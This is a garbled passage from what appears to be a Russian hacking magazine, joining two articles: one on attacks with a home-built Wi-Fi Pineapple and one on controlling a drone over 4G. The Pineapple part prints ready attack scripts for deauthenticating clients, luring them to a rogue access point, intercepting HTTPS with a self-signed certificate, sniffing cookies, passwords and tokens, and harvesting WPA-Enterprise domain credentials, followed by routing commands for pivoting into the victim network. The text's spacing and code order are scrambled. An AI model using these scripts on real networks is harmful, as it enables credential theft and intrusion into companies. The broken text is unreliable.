tive-пор тала. Зло умыш ленник необя затель но дол жен зап рашивать пароль
от кон крет ной точ ки дос тупа. Жер твам может быть пред ложена любая
веб-фор ма, хоть от соц сетей, хоть от любого дру гого сай та. Глав ное — убе- 
дить поль зовате ля ввес ти туда те дан ные, которые зло умыш ленник нацелен
получить. Да и необя затель но ими тиро вать легитим ную сеть, важ но ведь
заин тересо вать этой сетью поль зовате ля, это может быть хоть «Free Wi-Fi».

Пос ледний, но не обя затель ный штрих — отклю чение кли ентов
от легитим ной сети (логичес кое глу шение сиг нала):

eviltwin/deauth.sh
#!/bin/bash

 <   | line mdk4 mon0 d -w (getmac -i wlan0) $* while read 
 do echo "$line"

done

Продолжение статьи →



СОБИРАЕМ И ПРИМЕНЯЕМ СВОЙ WI-FI
PINEAPPLE

COVERSTORY  НАЧАЛО СТАТЬИ←

Во вре мя ата ки Evil Twin с глу шени ем сиг нала легитим ных точек важ но
не «выс тре лить себе в ногу» и исклю чить из спис ка целей фишин говую бес- 
про вод ную сеть.

Ата ка Evil Twin имен но соци аль ная, то есть тре бует непос редс твен ных дей- 
ствий поль зовате ля. И соци аль ная она, как пра вило, в двух смыс лах.

Во-пер вых, поль зователь сам дол жен выб рать под став ную сеть для под- 
клю чения, пос коль ку кли ент ское устрой ство само не перепод клю чит ся с зак- 
рытой сети на откры тую, даже если имя под став ной сети в точ ности соот ветс- 
тву ет легитим ной. Лишь у ста рых ОС и на ста рых устрой ствах была такая
нераз борчи вость, ког да сеть мог ла авто мати чес ки сме нить ся с WPA на OPN
при наличии оди нако вого име ни.

Во-вто рых, учет ные дан ные за поль зовате ля тоже ник то не вве дет.
Как толь ко такой поль зователь най дет ся, при откры тии любой веб-стра ницы
ему навяз чиво будет пред ложено ввес ти пароль, который при нима ется уже
откры тым тек стом и сох раня ется в устрой стве Pineapple.

Ата ка Evil Twin может быть эффектив на на режим ных объ ектах со стро гими
пра вила ми, где «изго лодав шиеся по интерне ту» сот рудни ки готовы на мно- 
гое, в том чис ле и ввес ти любые дан ные ради дос тупа к сети. Там зло умыш- 
ленник, сыг рав на сла бос тях челове ка, впол не может раз добыть и домен ную
учет ку, и все на све те, с чем он потом уда лен но зай дет в чью-то поч ту
или под клю чит ся по VPN во внут реннюю сеть.

Õàíèïîò
Неч то похожее на Evil Twin может быть раз вито в дру гую ата ку, но с при целом
уже на кли ент ские устрой ства, а не поль зовате лей.

В пре дыду щем раз деле, ког да к Pineapple под клю чает ся поль зователь, его
лишь скром но про сят ввес ти кон фиден циаль ные дан ные. Но мож но пос тупить
про ще. Что, если компь ютер поль зовате ля уяз вим или на вход в сис тему сто- 
ит сла бый пароль? И что, если в комп в момент его под клю чения к «злой»
бес про вод ной сети встав лен кабель, соеди няющий с локаль ной сетью? Тог да
путь про ник новения может быть для зло умыш ленни ка еще более лег ким.

Сце нарий нападе ния «Honeypot» исполь зует те же самые механиз мы
запус ка точ ки дос тупа  и раз дачи IP-адре сов , что и у
Evil Twin. Но далее сце нарий раз вива ется ана логич но BadUSB-ETH. Сра зу
пос ле стар та бес про вод ной сети запус кают ся гло баль ные ата кующие скрип- 
ты, а как толь ко появ ляет ся кли ент с IP-адре сом, на него авто мати чес ки идет
шквал тар гетиро ван ных атак:

hostapd.sh dnsmasq.sh

honeypot/attack.sh
#!/bin/bash

HOME='/home/pi'

 screen -dmS Xorg xinit -- /usr/bin/X :0 -br # optional for GUI 
attacking script
rm /tmp/honeypot_attacks.txt 2> /dev/null 

  f  +xfor script in $(find on_network/ -type -perm -u )
do

  exec sudo $script wlan0 "" & 
done

1 while sleep 
do

arp  |    | 
ip 

 -an sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on wlan0/\1/p'
while read 
 do

  
    

   egrep -q "^$ip$" /tmp/honeypot_attacks.txt 2> /dev/null &&
continue || echo "$ip" >> /tmp/honeypot_attacks.txt 
     f  +xfor script in $(find on_client/ -type -perm -u )
   do

        exec $script $ip "" 10.0.0.1 & 
   done
 done
done

Скрипт запус кает ата ки сно ва и сно ва для вновь под клю чив шихся кли ентов.
Тут исполь зует ся ата кующий арсе нал скрип тов, уже опи сан ный в 

. В допол нение к тому, что уже опи сано, а это и ата ки на Net-
BIOS-зап росы, и под мена содер жимого веба, и кра жа cookies, может быть
добав лено еще мно гое. Нап ример, вме шатель ство в HTTPS-тра фик жертв,
под клю чив шихся к под став ной точ ке дос тупа. Для это го нуж но завер нуть
на себя 443/TCP-порт и при под клю чении внед рить самопод писан ный сер- 
тификат. Если в перех вачен ном тра фике встре чают ся чувс тви тель ные дан ные,
то в логах такая стро ка выделя ется цве том, а на устрой стве загора ется жел- 
тый све тоди од:

статье
о BadUSB-ETH

honeypot/on_network/sslsplit.sh
#!/bin/bash

 echo '[*] SSL splitting'

  nat   | 443     
 

[[ $(iptables -t -vnL PREROUTING | grep "$1" grep ) = '' ]]
&& {

 nat    tcp  443    iptables -t -A PREROUTING -i "$1" -p --dport -j 
REDIRECT --to-ports 1080 
}

      [[ $(pgrep /usr/bin/socat) = '' ]] && {
          

 
if [ ! -s /tmp/key.pem -o ! -s /tmp/cert.pem -o ! -s /tmp/cert_

key.pem ]; then
  

 365  
       openssl req -new -x509 -keyout /tmp/key.pem -out /tmp/cert.
pem -days -nodes -batch
       cat /tmp/cert.pem /tmp/key.pem > /tmp/cert_key.pem 
   fi

   #sslsplit -k /tmp/key.pem -c /tmp/cert.pem -l /tmp/con.log -L 
sslsplit.log -P autossl 0.0.0.0 1080 &
   socat -v openssl-listen:1080,fork,cert=/tmp/cert_key.pem,cafile=/
tmp/cert.pem,verify=0 open:sslsplit.log,creat,append 2> /dev/null & 
}

  0 line tail -n -f sslsplit.log | while read 
do

  |   
auto  
   if echo "$line" grep -ai -e cookie -e passw -e token --color=

; then
       led yellow on 2> /dev/null 
   fi
done

В кон це кон цов, в фай ле  лежит весь рас шифро ван ный тра фик,
дос тупный для даль нейше го изу чения и поис ка сек ретов уже вруч ную. Вооб- 
ще, необя затель но под клю чив шееся устрой ство ста нет переда вать дан ные
в зашиф рован ном виде, впол не воз можно, что будет исполь зован и обыч ный
HTTP:

sslsplit.log

honeypot/on_network/http.sh
#!/bin/bash

 echo '[*] HTTP cleartext monitoring'

    ngrep -d "$1" -i 'cookie|passw|token' 'port 80 or port 8080' 2>&1 > /
tmp/ngrep.log & 

  0 line tail -n -f /tmp/ngrep.log | while read 
do

  |    |   
auto

   if echo "$line" grep -v '^match:' grep -ai -e cookie -e 
passw -e token --color= ;
     led yellow on 2> /dev/null 
   fi
done

Ес ли какие-либо чувс тви тель ные дан ные переда ются по незащи щен ному
HTTP, это так же вид но в логах выделен ным цве том и по жел тому све тоди оду
на устрой стве. Зло умыш ленник может записать весь тра фик кли ентов:

honeypot/on_network/tcpdump.sh
#!/bin/bash

 echo '[*] writing trafic'
 +time=$(date '%H:%M:%S_%d.%m.%Y')

    tcpdump -i "$1" -nn -w "${time}.pcap"

Тут жер тва никак не огра ничи вает ся в сво их дей стви ях, все попыт ки что-то
ска чать по незащи щен ному HTTP или сог ласить ся на самопод писан ный сер- 
тификат по HTTPS толь ко при ветс тву ются ханипо том.

Так же пер сональ но для каж дого под клю чив шегося кли ента могут быть
исполь зованы реали зован ные в статье про BadUSB-ETH скрип ты:

;• on_client/ms17_010.sh

;• on_client/bruteforce/smb.sh

.• on_client/bruteforce/rdp.sh

Воз можные ата ки отнюдь не огра ничи вают ся этим скром ным спис ком и могут
быть зна читель но рас ширены каж дым зло умыш ленни ком инди виду аль но
под ту или иную ситу ацию.

Àòàêà EAP
Как я уже говорил, ата ка Evil Twin пол ностью соци аль ная, с миниму мом тех- 
ничес ких тре бова ний к ата куемым целям. Ата ка Honeypot (ханипот) — уже
боль ше с при целом на тех ничес кие уяз вимос ти кли ент ских устрой ств, а не
на сла бос ти поль зовате лей, но все же тре бует от поль зовате ля под клю чить- 
ся. EAP-ата ка пол ностью ори енти рова на на устрой ства.

При EAP-ата ке про исхо дит поч ти то же самое, что и в Evil Twin, где ими- 
тиру ется легитим ная точ ка дос тупа и ата куют ся ее кли енты, толь ко ата кует ся
имен но само устрой ство кли ента — желез ка, а не человек. Это сво дит к нулю
соци аль ный фак тор и не тре бует вооб ще никако го учас тия поль зовате ля —
что называ ется zero click. Ата ка получа ется на 100% надеж ной и быс трой,
если под вержен ное этой ата ке устрой ство есть.

Уяз вимость кро ется в том, что само устрой ство авто мати чес ки небезо пас- 
но переда ет учет ные дан ные для под клю чения к сети WPA Enterprise.

Тре бует ся запус тить нем ного про пат ченную вер сию hostapd-wpe, сох- 
раня ющую более под робные логи при получе нии учет ных дан ных, а так же
пред ложить кли ент ско му устрой ству спи сок методов аутен тифика ции
в обратном поряд ке — начиная с самого небезо пас ного. И если кли ент сог- 
ласит ся, пароль или хеш удас тся перех ватить:

eap/hostapd-eaphammer.sh
#!/bin/bash

essid="$1"

cp /opt/eaphammer/local/hostapd-eaphammer/hostapd/hostapd.conf /tmp/
hostapd-eaphammer.conf 

  sed -i "s/interface=.*/interface=wlan0/g" /tmp/hostapd-eaphammer.conf 
  sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-eaphammer.conf 

line 
sudo /opt/eaphammer/local/hostapd-eaphammer/hostapd/hostapd-
eaphammer -x /tmp/hostapd-eaphammer.conf | while read 
do

      if echo "$line" | fgrep -q 'AP-STA-CONNECTED'; then
       led green on 2> /dev/null 
      elif echo "$line" | fgrep -q 'AP-STA-DISCONNECTED'; then
       led green off 2> /dev/null 
      elif echo "$line" | fgrep -q 'STA'; then
       led yellow on 2> /dev/null 
      elif echo "$line" | fgrep -q 'username:'; then
       led red on 2> /dev/null 
   fi
done

Для прив лечения кли ентов может быть запущен скрипт , отклю- 
чающий кли енты от их легитим ных точек дос тупа.

deauth.sh

Нуж но обра тить осо бое вни мание, что при ими тации легитим ной точ ки
дос тупа WPA Enterprise мож но получить пароль в откры том виде! Это зависит
от того, как легитим ная бес про вод ная сеть запом нилась на кли ент ском
устрой стве. Если это GTC, то пароль мож но получить откры тым тек стом, если
MSCHAP — в виде хеша NetNTLMv1, пароль из которо го мож но вос ста новить
за конеч ное вре мя. А в качес тве самих учет ных записей в WPA Enterprise,
как пра вило, исполь зуют ся домен ные логин и пароль. Это зна чит, что, зах- 
ватив такую учет ку, зло умыш ленник либо тут же под клю чает ся по Wi-Fi
и попада ет сра зу во внут реннюю сеть ком пании, при чем уже с домен ной учет- 
ной записью, либо заходит в нее уда лен но, нап ример по VPN, при его
наличии.

Это может показать ся весь ма стран ным, ведь при ата ках на сети WPA PSK,
которые есть прак тичес ки в каж дом доме, зло умыш ленник доволь ство вал- 
ся бы лишь handshake, который надо еще бру тить и бру тить, порою весь ма
дол го. А при ата ках на WPA Enterprise он получа ет либо NetNTLMv1-хеш,
который на поряд ки сла бее того же PSK и за уме рен ное вре мя может быть
све ден до LM-хеша, либо пароль откры тым тек стом! Хотя WPA Enterprise счи- 
тает ся стан дартом для пред при ятий и, по идее, дол жен быть дос таточ но
защищен ным.

Эта уяз вимость спра вед лива толь ко для сетей WPA EAP (Enterprise), встре- 
чающих ся в кор поратив ном сег менте, что дела ет ее весь ма опас ной, ведь
она может стать точ кой про ник новения в ком панию со все ми вытека ющи ми
пос ледс тви ями.

Pineapple, заряжен ный такой ата кой, может быть помещен как в зоне дей- 
ствия легитим ных точек дос тупа, так и за их пре дела ми на дос таточ но дли- 
тель ный срок, как про демонс три рова но на сле дующем рисун ке. Кли енты,
которые и будут мишеня ми для ата ки, под вижны и обыч но в начале или кон це
рабоче го дня час то выходят из зоны пок рытия, где их может под жидать
Pineapple.

Pineapple воз ле офи са ком пании ловит кор поратив ные учет ные дан ные

Как пра вило, у каж дой ком пании, откры той или режим ной, всег да есть мес то,
через которое помеще ние покида ют все сот рудни ки, — глав ный вход.
Это неболь шая область, где за корот кое вре мя могут про ходить сот ни
или тысячи людей и где уже нет при ема кор поратив ной бес про вод ной сети.
Имен но эта область может быть зоной дей ствия Pineapple. И сот рудни ки,
еще не успевшие отклю чить Wi-Fi на устрой ствах, сами того не подоз ревая,
авто мати чес ки ском про мети руют свои учет ные записи и тем самым откро ют
две ри во внут реннюю сеть ком пании. Зло умыш ленник, получив ший туда дос- 
туп с домен ной учет ной записью, с боль шой долей веро ятности смо жет ском- 
про мети ровать всю внут реннюю инфраструк туру, при чем дос таточ но быс тро.

Ïîñòýêñïëóàòàöèÿ
Ес ли под бор пароля или иная ата ка завер шились успешно, зло умыш ленник
вновь может исполь зовать Pineapple уже для уда лен ного дос тупа к целевой
Wi-Fi-сети через VPN, про кину тый по 4G. Pineapple берет на себя задачу
физичес кого лин ка с сетью и логичес кой мар шру тиза ции пакетов туда:

  wpa_passphrase 'target_essid' 'password' > wifi.conf 
wpa_supplicant -i wlan0 -c wifi.conf & dhclient wlan0 

1 sysctl -w net.ipv4.ip_forward=
 nat iptables -t -A POSTROUTING -o wlan0 -j MASQUERADE 

Уда лен ный ата кующий, име ющий VPN-соеди нение с Pineapple, может
получить сетевой дос туп к инте ресу ющей его Wi-Fi-сети, прос то ука зав
Pineapple в качес тве сетево го шлю за:

route add -net 192.168.1.0/24 gw pineapple 
nmap 192.168.1.0/24 

Те перь ему оста ется толь ко положить Pineapple вбли зи ском про мети рован- 
ного бес про вод ного устрой ства и вер нуть ся в ком фор тное помеще ние.

Pineapple в качес тве 4G-шлю за к ском про мети рован ному бес про вод -
ному устрой ству

Нап ример, бес про вод ные прин теры, которых всег да пре дос таточ но поч ти
у любой орга низа ции, час то име ют не самые надеж ные пароли. Вто рой
«ногой» такие прин теры, как пра вило, сто ят уже в локаль ной сети.

Pineapple по VPN пре дос тавит зло умыш ленни ку уда лен ный сетевой дос туп
в ском про мети рован ную бес про вод ную сеть, где могут быть раз виты уже
пос леду ющие дли тель ные ата ки. И на этом учас тие Pineapple закан чива ется.
Даль ше уже начина ется фаза внут ренне го про ник новения. Но это уже сов сем
дру гая исто рия…

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Воз можность совер шить так мно го атак с исполь зовани ем одно го мини атюр- 
ного устрой ства зас тавля ет задумать ся о кар диналь ных мерах защиты, устра- 
няющих «на кор ню» все перечис ленные ата ки.

Ус трой ство Pineapple хорошо демонс три рует глав ным обра зом незамет- 
ность атак. Ведь все опи сан ные ата ки уже дав но мож но про водить с обыч- 
ного ноут бука. Но мало кто ста нет этим занимать ся, сидя в суг робе воз ле
окна под прис мотром камеры.

Глав ное, что мож но рекомен довать безопас никам, — это реали зовать
тща тель ный кон троль за бес про вод ными сетями. В иде але их зона пок рытия
не дол жна выходить за пре делы кон тро лиру емой зоны. Даже если бес про- 
вод ные сети уяз вимы, нуж но сде лать эти уяз вимос ти исклю читель но внут- 
ренни ми, не давать их про экс плу ати ровать за пре дела ми офи са. В таком слу- 
чае у потен циаль ного зло умыш ленни ка не будет даже физичес кой воз- 
можнос ти начать ата ки, и это пре сечет все угро зы. © X
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Ты сидишь за кла виату рой на одном из вер- 
хних эта жей охра няемо го зда ния, рас- 
положен ного пос реди зак рытой тер- 
ритории в окру жении забора с колючей
про воло кой под нап ряжени ем. Ты чувс тву- 
ешь себя в пол ной безопас ности — за ней
сле дят не толь ко камеры, но и бди тель ная
охра на. За окном раз дает ся подоз ритель- 
ное жуж жание, ты отвле каешь ся
на непонят ный источник зву ка, и этих нес- 
коль ких секунд дос таточ но, что бы на твой
компь ютер уста новил ся бэк дор, а хакер,
рас положен ный в 20 км от тебя, про ник
в кор поратив ную сеть. Фан тасти ка? Ничего
подоб ного!

Дрон — отличный инс тру мент для зло умыш ленни ка, пос коль ку такой аппа рат
может нес ти на себе до тре ти собс твен ной мас сы в виде полез ной наг рузки.
Но ата ковать уда лен ный объ ект «по воз духу» не так-то прос то: «хакер ский
дрон» дол жен обла дать высокой авто ном ностью, управлять ся по защищен- 
ному каналу на рас сто янии в десят ки километ ров, а еще уметь про тивос тоять
средс твам подав ления и «глу шил кам». Сегод ня мы под робно рас ска жем,
как устро ены такие дро ны и как их мож но соб рать из под ручных средств,
модифи циро вав обыч ный бюд жетный квад рокоп тер. И разуме ется, о том,
как эффектив но про тивос тоять таким хит рым девай сам.

В  я опи сал ата ки, тре бующие непос редс твен ного при- 
сутс твия зло умыш ленни ка поб лизос ти от ата куемо го объ екта. Но огра ничен- 
ный ради ус бес про вод ных сетей не поз воля ет «дотянуть ся» абсо лют но
до всех целей. Одна ко устрой ство столь малого раз мера мож но не толь ко
незамет но спря тать под окна ми, его мож но помес тить внутрь неболь шой
посыл ки и нап равить кому угод но. И тог да, дви гаясь по коридо рам зда ний,
оно будет спо соб но совер шить уже сов сем иные ата ки. Прав да, посыл ка —
это для устрой ства Pineapple билет в один конец. Бес про вод ные ата ки мож но
про водить и с помощью дро на.

пре дыду щей статье

Эта статья — часть серии пуб ликаций о прак- 
тичес ких при емах взло ма и атак с исполь зовани- 
ем под ручных устрой ств, которые мож но соб рать
дома. В этих матери алах мы рас кры ваем прос тые
спо собы получе ния несан кци они рован ного дос- 
тупа к защищен ной информа ции и показы ваем,
как ее огра дить от подоб ных атак. Пре дыду щая
статья серии: «

».
Гроз ный ана нас. Собира ем и при- 

меня ем свой Wi-Fi Pineapple

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Дро ны ста ли незаме нимы в самых раз ных областях, и сегод ня они дос тупны
прак тичес ки каж дому. Но что они могут дать хакеру?

Важ ная осо бен ность дро на зак люча ется в том, что к нему мож но при- 
соеди нить фак тичес ки что угод но. Таким обра зом дрон может зна читель но
уве личить дис танцию при мене ния атак, ведь он поз воля ет быс тро получить
физичес кий дос туп туда, куда нель зя доб рать ся ногами. Дрон может пре одо- 
леть поч ти любое огражде ние, под лететь к окнам высот ного зда ния и, что
немало важ но, сде лать это дос таточ но быс тро, а иног да и незамет но. Мини- 
атюр ные габари ты поз воля ют ему про лететь даже в при откры тое окно, про- 
ник нуть в помеще ние и мол ниенос но совер шить компь ютер ные ата ки. Одним
сло вом, с таким средс твом дос тупной ста новит ся прак тичес ки любая цель.

Это дела ет дрон край не удоб ным для про веде ния быс трых атак, реали- 
зуемых через бес про вод ные тех нологии — то есть там, где тре бует ся фик- 
сирован ный и час то неболь шой ради ус дей ствия. Так что ата ки, показан ные
в некото рых компь ютер ных играх, впол не реаль ны.

Кол лекци онная ста туэт ка PureArts по игре Watch Dogs 2

ÐÅÀËÈÇÀÖÈß

Дро ны в боль шинс тве слу чаев управля ются по ради ока налу. При этом час- 
тоты и про токо лы для при ема сиг нала с пуль та (RX), а так же для переда чи
видео и телемет рии с дро на (TX) могут отли чать ся. В обоб щенном виде
это выг лядит так:

RX по выделен ным ради ока налам FRSKY, ELRS или TBS, TX ана лого вый,
реже циф ровой выделен ный канал (про фес сиональ ные дро ны);

•

RX по выделен ным ради ока налам, TX по Wi-Fi (самый рас простра нен ный
вари ант);

•

RX и TX по Wi-Fi (ком натные дро ны).•

Для ата кующе го дрон глав ным обра зом тран спортное средс тво, поэто му он
дол жен быть креп ким и надеж ным. Пос коль ку поч ти все ата ки так или ина че
могут быть свя заны с близ ким про летом вбли зи стро ений, а где-то даже
и внут ри них, то куда важ нее обес печить мак сималь ную защиту про пел леров,
нежели высокую ско рость. Отличным выбором могут быть дро ны с защит ной
рамой вок руг про пел леров (Cinewhoop), как на сле дующем рисун ке.

Мо дель рамы Cinewhoop

Та кая конс трук ция не поз воля ет дро ну раз бить ся в слу чае кон такта со сте ной
или дру гими пре пятс тви ями. Дрон так же дол жен иметь некото рый запас мощ- 
ности, дос таточ ный для подъ ема хакер ских девай сов мас сой хотя бы с треть
его собс твен ной.

Пос коль ку зло умыш ленник может ата ковать отда лен ные объ екты, исполь- 
зовать для это го целесо образно дро ны, управле ние которых завяза но не на
Wi-Fi. Ведь ради ус Wi-Fi огра ничен 50–100 м, и управля емость (отклик) ухуд- 
шает ся по мере отда ления дро на от пуль та управле ния. Про фес сиональ ные
дро ны с выделен ным ради ока налом управле ния (FRSKY, ELRS или TBS) под- 
ходят для подоб ных целей куда луч ше. По пря мой видимос ти дрон на таком
управле нии может уле теть на нес коль ко километ ров, и вре мя откли ка
при этом дер жится на при емле мом уров не.

Раз летать зло умыш ленни ку при дет ся не в чис том поле, а вбли зи зда ний,
где находят ся объ екты атак, то немало важен и кон троль над полетом. Дро ны
семей ства FPV обес печива ют мак сималь но воз можное пог ружение и вид
от пер вого лица.

От личным выбором по гиб кости, откры тос ти ком понен тов и прос тоте ста- 
нут популяр ные дро ны с полет ным кон трол лером сис темы Betaight.
Основные плю сы подоб ных откры тых решений:

воз можность модифи кации — всег да мож но добавить или убрать тот
или иной ком понент (дат чик высоты, GPS и про чее);

•

от кры тость — дрон всег да дос тупен для раз личных модифи каций и нес- 
тандар тных решений;

•

мо дуль ность — если дрон разобь ется, то при обрести нуж но будет толь ко
раму; полет ный кон трол лер, при емник, пульт и очки оста ются нев редимы- 
ми.

•

На самом деле не так важ на модель дро на, куда важ нее уме ние хорошо
летать. Преж де чем перехо дить к ата кам с дро на, сто ит нем ного погово рить,
как воз можно улуч шить управле ние дро ном и защитить его.

Óïðàâëåíèå ÷åðåç 4G
По леты сре ди зда ний могут силь но умень шить пре дель ную дис танцию. Даже
если у дро на супер даль нобой ная сис тема свя зи, она не пробь ет нес коль ко
бетон ных стен, ког да квад рокоп тер залетит за зда ние.

Но что, если дрон будет управлять ся по мобиль ным сетям? В наше вре мя
хороший при ем обес печива ется даже за пре дела ми города, не говоря уже
про зда ния. Сотовую связь мож но исполь зовать в качес тве отлично го канала
для переда чи дан ных. Тог да рас сто яние полета будет огра ниче но исклю- 
читель но ресур сом акку муля тора.

Се год ня 4G-сети обла дают дос таточ но высокой ско ростью, но при их
исполь зовании отклик от пуль та управле ния и кар тинка с камеры не переда- 
ются с той же ско ростью, как на спе циаль но раз работан ных для это го ради- 
опро токо лах. Тем не менее полет впол не воз можен. А с уче том ско рос ти,
с которой дро ны спо соб ны лететь (200 км/ч), и запаса акку муля тора зло- 
умыш ленник может ата ковать цель на рас сто янии более 20 км!

Итак, как перевес ти дрон на 4G-управле ние? Это дол жно быть не очень
слож ное решение, при мени мое к широкой линей ке дос тупных моделей. Мож- 
но исполь зовать, нап ример, сле дующую схе му.

4G → Wi-Fi-øëþç → äðîí
Са мые прос тые и дешевые дро ны пол ностью управля ются по Wi-Fi. Внут ри
дро на запуще на точ ка дос тупа Wi-Fi, мобиль ный телефон под клю чает ся к ней
и через при ложе ние отправ ляет коман ды в обыч ный UDP-порт. Видео с дро- 
на идет в обратном нап равле нии на телефон прос тым RTSP-стри мом.
Получа ется, дрон — это обыч ное сетевое устрой ство. Сле дова тель но, если
к нему прик репить мини-компь ютер с 4G-модемом, то через VPN мож но
проб росить ся пря мо в дрон с любого рас сто яния. И далее оста нет ся лишь
отправ лять закоди рован ные коман ды управле ния мотора ми.

Од нако в этом спо собе есть пара минусов. Во-пер вых, ско рее все го, при- 
дет ся иметь дело с зак рытым про токо лом и ревер сить его
с успешностью 50/50 — повезет или нет. Воз можно, попадет ся шиф рование,
а воз можно — аутен тифика ция с неиз вес тным прин ципом. Сло вом, взла- 
мывать собс твен ный дрон, что бы полетать, нес коль ко стран но. Во-вто рых,
в такие про токо лы зак ладыва ют дос таточ но час тую отправ ку пакетов от пуль та
на дрон. Это сде лано для луч шего откли ка при управле нии. Кро ме того, если
сиг нал с пуль та теря ется, дрон опе ратив но это понима ет. Тут абсо лют но
невыгод но отправ лять по сети одни и те же пакеты на дрон, ведь так 4G-канал
управле ния будет забит, а по нему дол жно переда вать ся еще и видео.

4G → âèäåîøëþç → äðîí
А что, если вмес то сетево го шлю за для дос тупа к дро ну вос поль зовать ся
виде ошлю зом? То есть к квад рокоп теру прик репить неболь шой телефон,
под клю чен ный к нему по Wi-Fi, а к самому телефо ну под клю чить ся с помощью
средс тва уда лен ного управле ния? Ведь в любом слу чае видео с дро на нуж но
смот реть, толь ко теперь это мож но будет делать с экра на уда лен ного
телефо на.

Как ни стран но, этот спо соб поз воля ет решить все проб лемы. Телефон
дает отвязку по тра фику — все пакеты с тре буемой ско ростью он отправ ляет
сам, пилот лишь через вир туаль ные сти ки на экра не уда лен ного телефо на
управля ет дро ном. Так же виде опо ток с экра на телефо на при нима ется умень- 
шен ного качес тва, что еще нем ного уве личи вает ско рость переда чи. Плю сом
мобиль ное при ложе ние берет на себя кодиро вание положе ний сти ков пуль- 
та, так что ничего ревер сить не тре бует ся. При мер такой реали зации при- 
веден на сле дующем рисун ке.

Бюд жетный ком натный дрон и мини-телефон

Прос той до невоз можнос ти трюк, но на самом деле он поз волит пре одо леть
любые рас сто яния и прег рады. Мини-телефон, прик реплен ный к дро ну, всег- 
да будет обес печивать ему при емле мый уро вень сиг нала Wi-Fi, который
на таком рас сто янии край не слож но заг лушить подави телем. Так же он дает
раз вязку по тра фику — не нуж но при нимать высоко качес твен ный стрим
с дро на, а вмес то это го дос таточ но лишь получить кар тинку с экра на телефо- 
на в раз решении 320 × 240, переда ча которой более надеж на при про сад ках
ско рос ти мобиль ного соеди нения. Еще такой под ход обес печива ет раз вязку
и по про токо лу: боль ше не нуж но вни кать в под робнос ти кодиро вания
положе ний сти ков трот тлин га, кре на, углов ата ки и рыс канья — мобиль ное
при ложе ние все сде лает самос тоятель но.

Под клю чить ся к дро ну по 4G мож но с любого устрой ства — хоть с ноут- 
бука, хоть с телефо на. Для это го мож но исполь зовать любое прог рам мное
решение для облачно го уда лен ного управле ния, нап ример кросс-плат- 
формен ный AnyDesk.

Кросс-плат формен ное уда лен ное управле ние дро ном через телефон

Да лее, исполь зуя прос тые средс тва авто мати зации GUI, мож но наз начить
тем или иным нажати ям на кла виату ре опре делен ные дей ствия с вир туаль ным
пуль том на экра не:

drone/control.sh

#!/bin/bash

console=$(xdotool getactivewindow)
 |   |  control=$(xwininfo | grep id grep 'xwininfo:' awk '{print $4}')

xdotool windowfocus $control
  |   |  X=$(xwininfo -id $control grep 'Absolute upper-left X:' awk '{

print $4}')
  |   |  Y=$(xwininfo -id $control grep 'Absolute upper-left Y:' awk '{

print $4}')
left_stick_x=$[$X+123] 
left_stick_y=$[$Y+321] 
right_stick_x=$[$X+456] 
right_stick_y=$[$Y+321] 

xdotool windowfocus $console
 while read -rsn 1 key 

do
   case "$key" in

   'A')
      echo 'throttle up'

      xdotool mousemove $left_stick_x $left_stick_y
     xdotool mousedown 1 

       xdotool mousemove_relative -- '0' '-50'
     xdotool mouseup 1 
     ;;
   'B')

      echo 'throttle down'
      xdotool mousemove $left_stick_x $left_stick_y

     xdotool mousedown 1 
       xdotool mousemove_relative -- '0' '50'

     xdotool mouseup 1 
     ;;
   'w')

      echo 'pitch forward'
      xdotool mousemove $right_stick_x $right_stick_y

     xdotool mousedown 1 
       xdotool mousemove_relative -- '0' '-50'

     xdotool mouseup 1 
     ;;
   's')

      echo 'pitch back'
      xdotool mousemove $right_stick_x $right_stick_y

     xdotool mousedown 1 
       xdotool mousemove_relative -- '0' '50'

     xdotool mouseup 1 
     ;;
   'a')

      echo 'roll left'
      xdotool mousemove $right_stick_x $right_stick_y

     xdotool mousedown 1 
       xdotool mousemove_relative -- '-50' '0'

     xdotool mouseup 1 
     ;;
   'd')

      echo 'roll right'
      xdotool mousemove $right_stick_x $right_stick_y

     xdotool mousedown 1 
       xdotool mousemove_relative -- '50' '0'

     xdotool mouseup 1 
     ;;
   'q')

      echo 'yaw left'
      xdotool mousemove $left_stick_x $left_stick_y

     xdotool mousedown 1 
       xdotool mousemove_relative -- '-50' '0'

     xdotool mouseup 1 
     ;;
   'e')

      echo 'yaw right'
      xdotool mousemove $left_stick_x $left_stick_y

     xdotool mousedown 1 
       xdotool mousemove_relative -- '50' '0'

     xdotool mouseup 1 
     ;;
 esac
 xdotool windowfocus $console

done

Тут в бес конеч ном цик ле про исхо дит ожи дание нажатия тех или иных кла виш,
пос ле чего, в соот ветс твии с нажати ем, кур сор мыши дви гает вир туаль ный
стик на экра не уда лен ного телефо на. Все мак сималь но прос то.

Дан ные о сос тоянии дро на (телемет рия) так же в рас поряже нии опе рато- 
ра, при мер пред став лен на сле дующем рисун ке.

Ус ловное рас положе ние зна чений телемет рии на экра не

В зависи мос ти от модели дро на и мобиль ного при ложе ния кар тинка может
отли чать ся. Исполь зуя те же самые средс тва авто мати зации GUI, а так же рас- 
позна вание тек ста, мож но реали зовать про изволь ную обра бот ку показа ний
телемет рии:

drone/telemetry.sh
#!/bin/bash

1 INTERVAL=
 |   |  control=$(xwininfo | grep id grep 'xwininfo:' awk '{print $4}')

 while sleep $INTERVAL
do

    gm import -window $control /tmp/drone_telemetry.png 

   gm convert /tmp/drone_telemetry.png -crop 240x60+740+58 /tmp/
drone_telemetry-bat.png 
   

  |  
bat=$(tesseract /tmp/drone_telemetry-bat.png stdout -l eng 2> /

dev/null | grep '^[0-9]' awk '{print $1}')

   gm convert /tmp/drone_telemetry.png -crop 240x60+461+58 /tmp/
drone_telemetry-alt.png 
   

 
alt=$(tesseract /tmp/drone_telemetry-alt.png stdout -l eng 2> /

dev/null | grep '^[0-9]')

       10  if [ "$bat" -lt ]; then
         echo 'low battery' | festival --tts --language english 

   fi

   clear 
    echo "$bat $alt"
done

Продолжение статьи →
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СТРОИМ ХАКЕРСКИЙ БЕСПИЛОТНИК:
ДАЛЬНОБОЙНЫЙ

И С ЗАЩИТОЙ ОТ ГЛУШИЛОК

COVERSTORY  НАЧАЛО СТАТЬИ←

